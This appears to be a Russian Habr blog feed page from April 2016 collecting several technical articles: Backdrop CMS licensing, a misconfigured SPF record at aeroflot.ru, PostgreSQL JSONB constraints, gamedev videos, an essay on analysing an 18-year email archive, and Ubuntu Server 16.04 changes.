...

суббота, 23 апреля 2016 г.

[Перевод] FAQ по лицензированию Backdrop

Т.к. читатели Хабра знакомы с форком Drupal под названием Backdrop, а сам проект Backdrop также имеет пояснения касательно лицензирования самой CMS и расширений к ней, то думаю, будет нелишним раскатить перевод вопросов и ответов по лицензированию этой CMS, раз аналогичное уже было сделано в отношении самого Drupal.
image
Содержание
  1. Если я создам модуль или тему, должен ли я применить к ним лицензию GPL?
  2. Если я создам модуль или тему, должен ли я предоставлять его кому угодно?
  3. Могу ли я продавать Backdrop или модуль для Backdrop или тему для Backdrop?
  4. Лицензия GPL требует, чтобы я распространял «исходный код» моих файлов. Что это означает для веб-приложения?
  5. Могу ли я опубликовать мою работу под лицензией GPL версии 3 или только под GPL версии 2?
  6. Перейдет ли Backdrop на лицензию GPL версии 3?



Если я создам модуль или тему, должен ли я применить к ним лицензию GPL?


Да. Модули и темы для Backdrop являются производными работами от Backdrop. Если вы их распространяете, вы должны это делать на условиях лицензии GPL версии 2 или более поздней. Тем не менее, вы не обязаны их все распространять. (см. следующий вопрос ниже)

При распространении вами своего модуля или темы, GPL применяется к любому фрагменту, который прямо взаимодействует с частями Backdrop, который лицензирован по GPL. Это не распространяется на созданные вами изображения и флэш-файлы. Тем не менее, если вы делаете новое изображение на основе изображения из Backdrop, которое распространяется на условиях GPL, то такое изображение должно быть лицензировано также по GPL.

Если я создам модуль или тему, должен ли я предоставлять его кому угодно?


Нет. Лицензия GPL требует, что если вы создаете производную работу от Backdrop и распространяете ее кому-либо, вы должны предоставить такому лицу ее исходный код на условиях GPL, чтобы ее можно было модифицировать и распространять также на условиях GPL. Тем не менее, вы не обязаны распространять код кому-либо еще. Если код используется только вами или внутри вашей организации, такое использование не считается распространением кода, поэтому требование о раскрытии кода в этом случае не применяется.

Тем не менее, если ваш модуль общего назначения, зачастую хорошей идеей является все-таки предоставление кода сообществу в публичный репозиторий. Вы можете получать отзывы, сообщения об ошибках и пулл реквесты нового функционала от других людей, для которых ваш модуль будет полезным.

Могу ли я продавать Backdrop или модуль для Backdrop или тему для Backdrop?


Да. Тем не менее, вы должны распространять его на условиях лицензии GPL версии 2 или более поздней, поэтому то, что вы продаете, должно быть также доступно для модификации и распространения (предположительно безвозмездно). Смотрите предыдущий вопрос.

Могу ли я опубликовать мою работу под лицензией GPL версии 3 или только под GPL версии 2?


Да. Т.к. пользователи Backdrop могут выбирать, какую лицензию GPL они желают использовать (версии 2 или версии 3), любой модуль или тема, созданные для Backdrop, могут распространяться на условиях любой из этих лицензий. Тем не менее, если модуль идет одним пакетом вместе с Backdrop, весь код, включенный в состав такого пакета, должен быть лицензирован под той же лицензией. По этой причине поощряется использование для любого модуля или темы, интегрированных в Backdrop, той же лицензии «GPL версии 2 или более поздней».

Перейдет ли Backdrop на лицензию GPL версии 3?


Т.к. Backdrop лицензируется на условиях лицензии GPL версии 2 или более поздней, Backdrop может распространяться на условиях лицензии GPL версии 3. Это обеспечивает гибкость для пользователей выбирать свою версию лицензии. В настоящее время нет каких-либо планов по распространению Backdrop только на условиях лицензии версии 3 или более поздней.

Фрагменты текста этой страницы были заимствованы и изменены из FAQ по лицензированию Drupal

Комментарии (0)

    Let's block ads! (Why?)

    Ошибки в настройке SPF, в домене aeroflot.ru


    Думаю, что вам хорошо известен такой протокол, как DMARC и как он связан с SPF и DKIM.
    Недавно выяснилось, что письма от Аэрофлота не проходят проверку по данному протоколу.
    Кому интересно, почему, прошу под кат.

    DMARC разработан для того, чтобы можно было защититься от фишинговых сообщений электронной почты. Делается это настройкой политик для домена, все настройки прописываются в DNS домена.
    На Хабре о DMARC есть несколько статей.
    Например, здесь и здесь.

    В общем функция данного протокола заключается в том, что делать принимающему почтовому серверу с почтовыми сообщения от вашего домена, если они не прошли проверку SPF и DKIM.
    То есть для работы DMARC в вашем домене должны быть корректно настроены SPF и DKIM.
    Про DKIM, тоже есть не мало статей в Сети, поэтому на его специфике останавливаться не буду.

    В почтовых системах своих клиентов я всегда настраиваю пометку сообщений, которые не прошли проверку DMARC, путем изменения темы сообщения, чтобы пользователь был осторожен с данным сообщением.
    Периодически я провожу аудит подобных сообщений путем изучения их заголовков.
    Примерно неделю назад заметил, что письмо от Аэрофлота было помечено одной из систем, как не прошедшее проверку.
    Начал разбираться и оказалось, что в домене aeroflot.ru неправильно прописана запись SPF.

    Смотрим SPF при помощи nslookup

    > nslookup
    > set type=txt
    > aeroflot.ru
    aeroflot.ru text = "v=spf1 " "ip4:80.92.36.15 ip4:80.92.36.16 ip4:80.92.36.63 ip4:80.92.36.64 ip4:80.92.39.28 ip4:80.92.36.156 ip4:80.92.36.157 ip4:80.92.39.17 ip4:80.92.39.18 " "ip4:213.219.245.120 ip4:213.219.245.121 ip4:79.137.209.178 ip4:151.193.220.17 ip4:151.193.220.18 ip4:151.193.220.20 ip4:151.193.224.244 ip4:151.193.224.245 ip4:5.104.224.147 " "ip4:185.69.80.40 ip4:185.69.81.40 ip4:185.69.82.20 ip4:185.69.83.20 ip4:89.208.149.202 ip4:5.8.180.34 ip4:77.95.225.47 ip4:95.213.152.75 " "ip4:185.69.80.10 ip4:185.69.80.20 ip4:185.69.80.30 ip4:185.69.81.10 ip4:185.69.81.20 ip4:185.69.81.30 a:mta.mindbox.ru include:mailgun.org ~all"

    Ошибку видно почти сразу. В RFC4408, который описывает SPF, в 3.1.3 написано:

    3.1.3. Multiple Strings in a Single DNS record

    As defined in [RFC1035] sections 3.3.14 and 3.3, a single text DNS
    record (either TXT or SPF RR types) can be composed of more than one
    string. If a published record contains multiple strings, then the
    record MUST be treated as if those strings are concatenated together
    without adding spaces. For example:

    IN TXT "v=spf1 .... first" "second string..."

    MUST be treated as equivalent to

    IN TXT "v=spf1 .... firstsecond string..."

    То есть, если у вас в домене, в записи SPF содержится несколько строк, то они должны объединяться без пробелов.
    Например, в SPF Аэрофлота, в строке "v=spf1 " "ip4:80.92.36.15... лишний пробел после "v=spf1 "
    Должно быть "v=spf1" "ip4:80.92.36.15...
    Также лишние пробелы содержаться в других строках.

    Я сразу же попытался связаться с админами Аэрофлота, но это было безуспешно. Звонил по номерам Аэрофлота, просил переключить на ИТ-отдел, но оператор сказала, что не может этого сделать.
    Создал в их системе заявку, где детально описал проблему. Пришло подтверждение, что заявка создана и вскоре будет обработана, но ответа так и нет.

    Данную заметку пишу с надеждой, что админы Аэрофлота читают Хабр, или кто-то из вас знает данных админов и передаст им информацию.
    P.S! Знаю, что не совсем корректно писать об ошибках своих коллег, но другого способа донести до них важную информацию, к сожалению, не вижу.
    Коллеги, если вы считаете, что данная заметка кому-либо навредит, то напишите мне об этом. Убрать ее в черновики не сложно.

    Спасибо!
    Всем добра!

    Комментарии (0)

      Let's block ads! (Why?)

      RESTful Visual Editor

      Как использовать ограничения JSON при работе с PostgreSQL

      Ранее в блоге на Хабре мы рассказывали о развитии нашего продукта — биллинга для операторов связи «Гидра», а также рассматривали вопросы работы с инфраструктурой и использования новых технологий. К примеру, мы рассмотрели плюсы Clojure и ситуации, когда стоит и не стоит использовать MongoDB.

      Сегодня речь пойдет о работе с JSON, и в частности, о применении ограничений. Интересный материал на эту тему опубликовал в своем блоге разработчик Магнус Хагандер (Magnus Hagander) — мы представляем вашему вниманию главные мысли этого материала.

      Хагандер пишет, что в ходе общения в кулуарах одной из конференций задумался о том, можно ли одновременно использовать плюсы SQL и NoSQL баз данных. В частности, собеседники спрашивали разработчика о возможности применения расширенных ограничений СУБД PostgreSQL. «Если думаешь, что это может сработать в конкретном случае, скорее всего так и будет», — убежден Хагандер.

      Однако если в случае уникальных ключей UNIQUE или проверяющих ограничений все довольно просто, то при работе с исключающими ограничениями все далеко не так просто.

      Кроме технической стороны безусловно стоит вопрос, стоит ли вообще этим заниматься? Чем больше ограничений добавлено в JSON-данные, тем более структурированными они становятся. С другой стороны есть базы данных, в которых главным преимуществом является наличие динамических схем, однако в них все еще требуются ключевые индексы и ограничения (в отличии от PostgreSQL, где бинарный JSONB является неструктурированным даже после индексации).

      В PostgreSQL ключи и ограничения можно определять как для колонок, так и непосредственно для любых выражений, при условии что они неизменяемы — результат зависит только от входных значений, но не от внешних по отношению к выражению признаков. Это так же применимо к JSONB.

      Рассмотрим стандартную таблицу, содержащую JSON:

      postgres=# CREATE TABLE jsontable (j jsonb NOT NULL);
      CREATE TABLE
      
      postgres=# CREATE INDEX j_idx ON jsontable USING gin(j jsonb_path_ops);
      CREATE INDEX
      
      

      Конечно такое объявление таблицы только с JSONB-полем на практике очень редко оказывается хорошей идей. Чаще всего в реальности существует больше информации, и нужно не одно поле JSONB — но для примера используем именно этот вариант.

      Создавая стандартные обратные индексы, используя jsonb_path_ops, можно максимально эффективно получить полностью неструктурированное индексирование в JSONB. Этот индекс не будет использоваться в текущем примере, однако, в реальной разработке — это одна из главных причин применения JSONB. Добавим некоторую информацию в виде регистрационных записей для демонстрации ограничений. Для примера воспользуемся полуфиксированной структурой (semi-fixed schema). Кроме того, в качестве ключа сортировки здесь используется идентификатор пользователя UUID — обычно так и поступают:

      
       postgres=# INSERT INTO jsontable (j) VALUES ($${
        "uuid": "4e9cf085-09a5-4b4f-bc99-bde2d2d51f41",
        "start": "2015-03-08 10:00",
        "end": "2015-03-08 11:00",
        "title": "test"
      }$$);
      INSERT 0 1
      
      

      Первое, на что следует взглянуть, — есть ли возможность проверить уникальность поля uuid. Этот идентификатор должен быть уникальным во всей таблице. Однако, как показывает практика, это требование не всегда соблюдается, а значит, чтобы убедиться в отсутствии дубликатов, необходимо использовать ограничение. Все довольно просто:
      postgres=# CREATE UNIQUE INDEX j_uuid_idx ON jsontable(((j->>'uuid')::uuid));
      CREATE INDEX
      
      

      Здесь по извлеченному значению поля UUID создаётся индекс (с помощью уникального индекса, основанного на B-дереве). Этот индекс можно использовать как для поиска по ключу, так и для устранения дублирования ключей. С помощью команды j->>'uuid' извлекается текстовое значение поля uuid, затем с помощью команды ::uuid осуществляется преобразование во встроенный тип уникальных идентификаторов.

      В принципе, можно напрямую создать ограничение на текстовое поле, но гораздо эффективнее использовать для этого UUID, поскольку он обрабатывается как 128-битное целое число.

      postgres=# INSERT INTO jsontable (j) VALUES ($${"uuid": "4e9cf085-09a5-4b4f-bc99-bde2d2d51f41", "start": "2015-03-08 11:00", "end": "2015-03-08 12:00", "title": "test2"}$$);
      ERROR:  duplicate key value violates unique constraint "j_uuid_idx"
      DETAIL:  Key (((j ->> 'uuid'::text)::uuid))=(4e9cf085-09a5-4b4f-bc99-bde2d2d51f41) already exists.
      

      Остается еще одна проблема — отсутствует проверка существования данного поля. В таблицу можно вставить записи, в которых просто не будет поля UUID. Это происходит из-за того что оператор ->> по умолчанию возвращает NULL, что не вызывает нарушение уникальности (поскольку один NULL не равен другому NULL). Если требуется устранить этот недостаток, то можно реализовать проверочное ограничение CHECK:
      postgres=# ALTER TABLE jsontable ADD CONSTRAINT uuid_must_exist CHECK (j ? 'uuid');
      ALTER TABLE
      
      

      С этим ограничением больше нельзя будет вставить в таблицу записи без поля UUID, а создание уникального индекса на предыдущем этапе обеспечивает отсутствие дубликатов. Преобразование к типу UUID позволяет обеспечивать корректность формата данных. Этот набор индексов и ограничений повторяет функциональность классической колонки определённой как uuid NOT NULL UNIQUE.

      Однако существуют и более сложные исключающие ограничения — именно поэтому в качестве примера была выбрана регистрационная запись.
      Основная идея здесь заключается в невозможности существования перекрывающих записей в таблице при реализованных ограничениях. Для обычных реляционных баз данных реализовать такой механизм просто — нужно лишь создать обычное исключающее ограничение.

      Для JSON-данных можно применить похожий на изложенный выше метод реализации ограничений на основе функции извлечения. Однако, существует одна проблема — можно создавать ограничения для выражений, только если они неизменны, а преобразование текста к временным меткам изменяемо.

      Причиной изменяемости преобразования текста к временным меткам является преобразование величин, которые зависят от внешних значений, например:

      postgres=# SELECT 'today'::timestamp;
            timestamp      
      ---------------------
       2016-03-08 00:00:00
      (1 row)
      
      

      Это хороший пример изменяемости такого преобразования, поскольку значение будет изменяться каждый день. А значение, которое используется в качестве индекса, не должно быть изменено (до явного обновления значения конечно же).

      Если точно известно, что в базе не содержится таких типов данных, то использование функции скорее всего будет неизменным. Если это точно известно, то можно создать небольшую интерфейсную функцию, которая будет преобразовывать выше указанное выражение в неизменное:

      postgres=# CREATE FUNCTION immutable_tstamp(t text) RETURNS timestamp LANGUAGE sql IMMUTABLE AS $$SELECT t::timestamptz AT TIME ZONE 'UTC'$$;
      CREATE FUNCTION

      Эта функция реализует неизменяемое преобразование к временной метке, которая жестко записана во временной зоне UTC. Кроме того, имеет смысл реализовать еще и ограничение проверки, которое позволит убедиться в том, что в данных содержатся только неизменяемые значения,

      На следующем шаге функция объединяется с функцией tsrange() — это позволяет создать основанное на выражении исключающее ограничение, которое обеспечивает отсутствие перекрывающих записей. Данная задача решается путем пошагового извлечения записей времени начала и окончания с помощью функции неизменного преобразования. Затем для создания действительных временных меток и передачи их в исключающее ограничение с помощью оператора перекрытия (&&) вызывается функция tsrange.

      postgres=# ALTER TABLE jsontable
        ADD CONSTRAINT overlapping_times
        EXCLUDE USING gist(
         tsrange(
          immutable_tstamp(j->>'start'),
          immutable_tstamp(j->>'end')
         ) WITH &&
      );
      ALTER TABLE
      
      

      В результате мы запретили добавление записей с перекрывающимися полями времени:
      postgres=# insert into jsontable (j) values ($${
        "uuid": "4e9cf085-09a5-4b4f-bc99-bde2d2d51f43",
        "start": "2015-03-08 10:30",
        "end": "2015-03-08 11:30",
        "title": "test"
      }$$);
      ERROR:  conflicting key value violates exclusion constraint "overlapping_times"
      DETAIL:  Key (tsrange(immutable_tstamp(j ->> 'start'::text), immutable_tstamp(j ->> 'end'::text)))=(["2015-03-08 10:30:00","2015-03-08 11:30:00")) conflicts with existing key (tsrange(immutable_tstamp(j ->> 'start'::text), immutable_tstamp(j ->> 'end'::text)))=(["2015-03-08 11:00:00","2015-03-08 12:00:00")).
      
      

      С помощью функции и ограничения мы реализовали функциональность обычных исключающих ограничений, определяемых как EXCLUDE USING gist(r WITH &&) в случае, если в колонке r доступен соответствующий диапазон.

      Так что ответ на изначальный вопрос «можно ли использовать преимущества одновременно SQL и NoSQL СУБД?» — да. По крайней мере пока используется СУБД, обладающая возможностями обоих типов, а именно PostgreSQL.

      Важный момент — если, как в нашем примере, схема известна, система будет работать быстрее и эффективнее благодаря хранению полей в реляционной форме. Безусловно, для работы необходимо использовать правильный инструмент, поэтому применять JSON необходимо только, если схема является, по крайней мере полудинамической. При этом возможность объявления ограничений для части схемы очень полезна даже в том случае, если данные не реляционные, и все работает не так быстро. В конце концов вся суть динамической схемы — это её гибкость.

      Наш опыт


      Мы используем JSON в PostgreSQL в нескольких проектах. В частности, в проекте для управления бизнес-процессами мы храним в таких полях значения переменных процесса, структура которого определяется в момент внедрения продукта, а не во время его разработки.

      Работа с полями таблицы производится через адаптер фреймворка Ruby On Rails для PostgreSQL. Чтение и запись работают в нативном для Ruby режиме — через хэши и списки. Таким образом, вы можете работать с данными из поля без дополнительных преобразований.

      Статья описывает важный аспект целостности хранимых данных, но зачастую помимо простого хранения требуется осуществлять поиск по ним, для чего в PostgreSQL также присутствуют функциональные индексы, которые могут существенно повысить операции доступа к данным для частых запросов.

      Другие технические статьи в нашем блоге:


      Комментарии (0)

        Let's block ads! (Why?)

        Заметки с MBC Symposium: применение deep learning в моделировании мозга

        [Перевод] Краткая история Всемирной паутины по версии веб-разработчиков

        Создание сверхдлинных плоских панорамных изображений из видео

        пятница, 22 апреля 2016 г.

        В поисках пути царь Салтан осваивает лапласиан

        Пятничный геймдев: хорошие видео о том как делать игры

        Привет, Хабр!

        Сегодняшний выпуск пятничной подборки клевых технологических видео как никогда кстати придется тем, кто любит делать игры, умеет делать игры и делает игры. Даже с учетом того, что эти множества не всегда пересекаются, мы постараемся сделать так, чтобы всем было интересно.

        И начнем мы сегодня с ролика о том, как создать играбельного 2D-персонажа в Unity 5 — если вы еще не попытались этого сделать, то сейчас самое время. Важные моменты о физике, коллайдерах, спрайтах и перемещении персонажа по сцене.

        [embedded content]

        Рекомендуем, кстати, посмотреть этот курс целиком вот здесь.

        Следом за русскоязычными мануалами в нашей пятничной солянке будет одноименное шоу от ребят из заокеанского Microsoft — GameDev Show. Из этого видео вы сможете научиться быстро создавать 2D- и 3D-анимации для своих игр на основе собственного лица.

        [embedded content]

        Всегда очень интересно послушать комментарии разработчиков о собственных играх, а этот же процесс, но на фоне геймплея из этих игр, становится во много раз интереснее. Именно поэтому следующее видео оказалось здесь — евангелист Microsoft Dave Voyles разговаривает с одним из разработчиков игры «Die Hard», вышедшей на Sega Saturn 20 лет назад!

        Времени утекло много, но тем более приятно вспомнить о делах давно минувших дней.

        [embedded content]

        Видео о том, как опубликовать только что сделанную игру в Azure, используя подписку DreamSpark. В принципе, этого описания достаточно — можно и смотреть.

        [embedded content]

        Еще немного Game Dev Show. На этот раз серия о том, что такое UWP, почему это хорошо и чем полезно для разработчиков всех уровней — от клонов FlappyBird до Quantum Break и Rise of Tomb Rider. Аманда Ланге рассказывает про универсальные приложения и диапазон платформ, на которых эти приложения могут быть запущены. Категорически рекомендуем!

        [embedded content]

        На этом сегодня все! Хороших выходных, Хабр, и помните: если вы хотите играть в хорошие игры, пишите их сами.

        Комментарии (0)

          Let's block ads! (Why?)

          [Перевод] Анализ email-сообщений за 18 лет: Неудачный эксперимент по путешествию во времени

          В нашем блоге мы много пишем о создании email-рассылок и работе с электронной почтой. Мы уже обсудили сложности борьбы со спамом, будущее email, вопросы защиты почтовой переписки, а также техники работы с email, а также разобрались, почему с течением времени темы почтовых сообщений становятся длиннее.

          Многие люди пользуются электронной почтой уже на протяжение десятилетий — а значит, возникает вопрос о том, что анализ данных писем за долгое время может рассказать об эволюции конкретной личности. Журналист и создатель сервиса для разработки веб- и мобильных приложений Postlight Пол Форд в своем блоге на Medium опубликовал результаты эксперимента, в ходе которого он пытался создать динамическую систему поиска писем в своем почтовом ящике, в котором за 18 лет скопилось более 450 тыс. email-сообщений. Мы представляем вашему вниманию адаптированный перевод этой заметки.

          Идея: путешествие во времени


          Идея исследователя заключалась в следующем: если бы он смог быстро просматривать все свои старые сообщения, то это бы позволило проследить, как со временем менялись его собственные взгляды и мысли.
          Это должно было позволить мне узнать о себе нечто важное, увидеть свой рост, как личности – например, сравнивая себя 20-летнего и себя 40-летнего.

          Однако результаты эксперименты расстроили Форда.

          Электронная почта и крупные корпорации


          Во-первых, ему нужно было урегулировать некоторые технические вопросы. Форд пользуется аккаунтом Gmail, но система поиска в почтовом сервисе Google очень специфична. С её помощью можно легко найти любое из недавно полученных электронных писем, словно иголку в стоге сена. Но исследователь собирался со всего маху прыгнуть в этот стог, и для этого ему нужна была быстрая и эффективная поисковая система, которая могла бы просканировать десятки тысяч писем в одно мгновение. А интерфейс поиска Gmail в таких случаях выглядит вот так:

          Учитывая, что также Форд использует компьютер Macintosh, он бы мог скачать всю свою переписку с помощью Apple Mail и воспользоваться встроенным поиском Apple Spotlight. Но дело вот в чём.

          В 1996 году пользователь мог нажать клавишу ⌘-F, затем ввести название файла в строке поиска, и компьютер находил нужный файл за несколько секунд. Сегодня, в результате полнотекстового поиска человек в аналогичной ситуации получает 5 000 файлов, которые никак не связаны с тем, который он на самом деле искал.

          Вы повторяете попытку… и получаете тот же результат. Моим отношениям с Mac OSX Spotlight уже десять лет, и я с уверенностью могу сказать, что это одни из самых сложных отношений в моей жизни. Я не понимаю эту программу. Очевидно, проблема во мне, поэтому я должен двигаться дальше.

          Форд пришел к выводу о том, что ни поисковая корпорация Google, оцениваемая в 375 миллиардов долларов, ни технологическая компания Apple, оцениваемая в 700 миллиардов долларов, не в состоянии сортировать его электронные письма.
          И это нормально. Даже если в супермаркете нет штанов моего размера, я все равно хожу туда за моющим средством.

          Электронная почта и бесплатное программное обеспечение


          Бесплатное программное обеспечение стало причиной возникновения проблемы с электронной почтой, поэтому Форд предположил, что оно же может стать и решением. И, как оказалось, был прав. С помощью инструмента под названием offlineimap исследователь скачал всю переписку со своего аккаунта Gmail. На это у него ушло несколько дней, после чего нужно было заняться обработкой писем. Сделать это можно разными способами, но Форд предпочитает пользоваться программами mairix и mu. Раньше он использовал mairix, но в mu больше дополнительных возможностей для составления списков писем и их отображения, поэтому окончательный выбор пал на него. Чтобы начать поиск в mu, нужно набрать:

          mu find waffles

          и программа создает специальную папку, в которой собраны все электронные письма, содержащие слово «waffles». В случае Форда там оказалось 99 писем.

          Электронная почта и человек


          Итак, теперь у исследователя была лаборатория для изучения своего прошлого. В ходе исследования он выяснил, что за 18 лет отправил 82 865 электронных писем, в среднем по 4 600 писем в год. Немало.

          Затем он стал искать письма по определенным словам, чтобы увидеть, как со временем менялось его отношение к определенным вещам. Например, когда Форд только начал этот проект, то закончил статью о хороших манерах и вежливости. И чтобы узнать, что он сам думал о манерах и вежливости раньше, ввел в строку поиска:

          mu find from:ford@ftrain.com polite

          По запросу было найдено 196 писем, каждое из которых содержало в тексте (в том числе и в цитируемой части) заданное слово. Форд просмотрел все эти письма.

          На протяжении 18 лет он писал о манерах и вежливости приблизительно одно и то же. Во всех найденных письмах было написано нечто вроде «я изо всех сил старался быть вежливым», или «вежливость важна для меня», или «я старался вести себя вежливо и почтительно, когда встретил людей с радио». Мое мнение по этому вопросу, мои основополагающие убеждения, предположения и манеры не изменились.

          Конкретно эта тема не очень интересна. Но что действительно изменилось за эти 20 лет, так это сеть. Форд пишет, что многое узнал о программировании, о создании систем управления контентом. Его представление о технологиях должно было измениться, ведь так? Поэтому он решил выяснить, насколько улучшилось его понимание сети. С помощью запроса «HTML» Форд сумел обнаружить давно забытый инструмент для ведения блогов, который сам написал для своих друзей в 1999. У него не было названия.

          С таким же успехом он быть написан вчера. За это время Форд многое узнал о программировании и базах данных, потратил уйму времени на изучение информатики. И всё это для того, чтобы делать одни и те же вещи, а потом забывать об этом, и делать их снова. Это словно фильм День сурка о фильме День сурка. Он продолжал читать свои письма и понимал, что все двадцать лет говорил о:

          • Ведении блогов;
          • Контент-менеджменте;
          • Написании писем;
          • Будущем журналов;
          • Природе технологий.

          И все двадцать лет спорил о:
          • Политике;
          • Расовой дискриминации;
          • Самоопределении;
          • Сексизме;
          • Различии полов.

          Иногда он говорил другим людям, как нужно себя вести, иногда они говорили ему. Само содержание этих споров не сильно изменилось.

          До того, как исследователь провел этот эксперимент, он был уверен, что раньше занимал пассивную позицию и старался не ввязываться в конфликты, и что у него ушло много времени на то, чтобы научиться доказывать свою правоту – но теперь он намного охотнее защищает свои взгляды. Но это было бы неправдой. Судя по архиву, Форд постоянно участвовал в каком-либо споре по электронной почте, и, очевидно, поднаторел в этом деле. А поскольку он долгое время верил, что в прошлом недостаточно твёрдо отстаивал свои взгляды, то в настоящем, занимал пассивно-агрессивную позицию потерпевшего чаще, чем другие люди.

          Осознав это, я больше не испытывал ощущение прогресса.

          Слово «привет» тысячу раз встречалось в заголовках писем и шесть тысяч раз – в содержании. Форд написал простой скрипт, запустив который из командной строки, можно узнать, сколько раз за 18 лет было отправлено писем со словом «кофе». Каждая «*» равна десяти словам «кофе».
          $ mu find from:ford@ftrain.com coffee|perl -ne '/(\d{4})/; print "$1\n";'|sort|uniq -c|perl -ne '/(\d+) (\d{4})/; print "$2 " . ("*" x ($1/10)) . "\n"'
          2000 *
          2001 ***
          2002 *****
          2003 *******
          2004
          2005
          2006 *
          2007
          2008
          2009 *
          2010 ****************
          2011 ********************
          2012 ***********************************
          2013 **************************************
          2014 ***********************
          2015 ********
          
          

          И тут можно проследить некоторую закономерность. До 2005 года Форд ходил на свидания, занимался внештатной работой и пил много кофе. Затем он стал редактором и встретил свою жену – в итоге почти пять лет жил без кофе. В 2010 году он уволился и стал в основном работать на себя, поэтому стал пить кофе литрами. Это, конечно, интересная информация, но она не несет в себе пользы и не отражает никаких внутренних изменений. Это просто структура потребления.

          Следует также отметить тот факт, что все эти годы Форд жаждал изменений. Конечно, он не единственный, кто рассылает электронные письма. В архиве Форда хранятся письма от сотен других людей, и он говорит, что до сих пор общается с некоторыми из них.

          Очень странно перечитывать нашу переписку, потому что многие из нас до сих пор одержимы теми же идеями, что десять или пятнадцать лет назад. Мы взрослеем, женимся и разводимся. Кто-то из нас богат, кто-то беден, одни читают комиксы, другие пишут стихи, третьи – рассказы, а некоторые носят всё те же футболки.

          Дети меняют нас, ради них мы меняемся на протяжении всей жизни. Развод меняет нас. Мы стараемся поймать момент, стать лучше, но в итоге возвращаемся к привычному для нас образу жизни. Время бежит, как вода. Но, как говорится, вода камень точит. Изменение приходит извне.


          Именно поэтому Форд считает, что его эксперимент окончился провалом. Это эпоха самоанализа и радикальной трансформации. Он составлял таблицы, производил расчеты и искал закономерности. Теперь исследователь может назвать 20 самых часто употребляемых собою слов в каждом году или количество писем, в которых он писал о потере веса, может сказать, когда впервые задумался о том, чтобы стать отцом. По большому счету всю жизнь можно представить в цифрах — актуарных таблицах, банковских выписках, принадлежащих человеку квадратных метрах, количестве детей. Но подсчет вещей не меняет их.
          В процессе написания этой статьи я наткнулся на один email 11-летней давности. Оказалось, что именно эту статью — которую вы читаете в данный момент — я пытался продать Национальному Общественному Радио в качестве дикторского текста под названием «Сбор и анализ данных о себе».
          «В архиве моей электронной почты хранятся письма, которые я получал на протяжении последних 8 лет,  — писал я в 2003,  — и я давно хотел написать программу для поиска и…»

          Остальное вы знаете.

          Они ее одобрили.

          «Чтобы в этом разобраться,  — сказал я им, — потребуется время».

          Комментарии (0)

            Let's block ads! (Why?)

            От шедулера к планировщику

            Ubuntu Server 16.04: что нового

            Вчера, 21 апреля 2016 года, состоялся релиз новой версии Ubuntu — 16.04 Xenial Xerus. Она относится к так называемыем LTS-версиями. Аббревиатура LTS означает Long Term Support. LTS-версии выходят каждые два года и поддерживаются компапний Canonical в течение 5 лет с даты официального релиза.

            Возможность обновления с предыдущей LTS-версии (Ubuntu 14.04) появится начиная с релиза Ubuntu 16.04.1, который состоится примерно через три месяца.

            Выход в свет новой версии одного из самых популярных дистрибутивов Linux уже стал темой оживлённых обсуждений. Вчера на Хабре появилась статья с обзором нововведений в десктопной версии.

            В этой статье мы хотели бы поговорить о том, что нового появилось в серверной версии Ubuntu 16.04. Её публикация приурочена ещё к одному важному событию: сразу же после официального релиза образ Ubuntu 16.04 стал доступен для установки в Vscale.

            Ядро версии 4.4

            В основе Ubuntu 16.04 LTS лежит ядро последней стабильной версии — 4.4, которая вышла всего несколько месяцев назад — 10 января 2016 года. Краткий обзор этой версии уже был опубликован на Хабре. С более подробным обзором изменений можно ознакомиться здесь.

            Управление пакетами

            Как во всех основанных на Debian дистрибутивах Linux для управления пакетами в Ubuntu используется apt (Advanced Package Tool). В Ubuntu 16.04 используется его новая версия — Apt 1.2, существенно от предыдущих не отличающася, но улучшенная с точки зрения безопасности.

            Помимо традиционных deb-пакетов в Ubuntu 16.04 могут быть установлены ещё и так называемые snap-пакеты. В чём смысл этого нововведения?

            Пользователям Linux довольно часто приходится сталкиваться с проблемой зависимостей, из-за которой новые версии многих программ очень сложно установить: новые версии программ требует новые версии библиотек и системных компонентов, которые в LTS-релизах получают лишь обновления безопасности. Snap-пакеты помогают эту проблему решить.

            В отличие от deb-пакета, snap-пакет включает и файл приложения, и его зависимости. Это существенно упрощает жизнь пользователя: для установки последних версий не нужно ничего обновлять вручную и добавлять PPA.

            Snap- и deb-пакеты могут без проблем сосуществовать в системе. Основным форматом распространения пакетов в Ubuntu 16.04 остаётся deb.

            LXD 2.0

            В Ubuntu 16.04 добавлен LXD (Linux Container Daemon) — инструмент для работы c LXC-контейнерами. Разработчики Canonical описывают его с помощью термина lightvisor (на русский язык его можно перевести как «легковизор»). Он был включён в официальные репозитории ещё в Ubuntu 15.04. В Ubuntu 16.04 доступна для установки новая, усовершенствованная версия — 2.0.

            LXD интегрирован с OpenStack: управлять контейнерами можно с помощью клиента Nova. Можно с его помощью запускать и образы Docker.
            Подробный обзор возможностей LXD будет опубликован в нашем блоге в самое ближайшее время.

            Docker 1.10

            В Ubuntu 16.04 Docker обновлен до версии 1.10. Существующие образы потребуется перевести в новый формат: это будет сделано автоматически при первом запуске системы. Обратите внимание, что процедура перехода на новый формат может занять много времени и серьёзно нагрузить систему. Подробнее об этом можно прочитать на официальном сайте Docker.

            Веб-серверы: поддержка HTTP/2

            В одной из предыдущих публикаций мы уже обсуждали особенности протокола HTTP/2 и отмечали, что в ближайшем будущем он будет поддерживаться во всех популярных веб-серверах.

            В репозитории Ubuntu 16.04 добавлены последние стабильные версии Apache и Nginx. Поддерживается ли в них HTTP/2?

            Модуль для поддержки HTTP/2 (mod_http2) был добавлен в Apache начиная с версии 2.4.17. Пока что он распространяется в тестовом варианте, и дата выхода стабильной версии ещё неизвестна.
            В сборке версии Аpache2.4.18 для Ubuntu 16.04 mod_http2, однако, отсутствует: разработчики предпочли не включать в LTS-релиз нестабильный модуль. Поддержку HTTP/2 обещают добавить, как только появится более или менее стабильная версия.

            Что касается Nginx, то в Ubuntu 16.04 включена версия 1.9.15, в которой HTTP/2 полностью заменил SPDY. Как только выйдет следующая стабильная версия Nginx — 1.10.0 — она будет добавлены в официальные репозитории.

            OpenSSH 7.2p2

            Добавлена в Ubuntu и новая версия OpenSSH — 7.2p2, вышедшая в свет 9 марта 2016 года. Самое главное нововведение заключается в следующем: в ней отключена поддержка протокола SSH1, а также запрещено использование DSA-ключей.

            Если вы до сих пор используете устаревший ключ или же вам требуется подключаться к SSH-серверу устаревшей версии со своей машины, внимательно ознакомьтесь с информацией, опубликованной на официальном сайте Ubuntu.

            А если вы по тем или иным причинам до сих пор пользуетесь DSA-ключами, то для работы с серверами на базе Ubuntu 16.04 вам понадобится сгенерировать новые ключи в актуальном формате.

            Для разработчиков

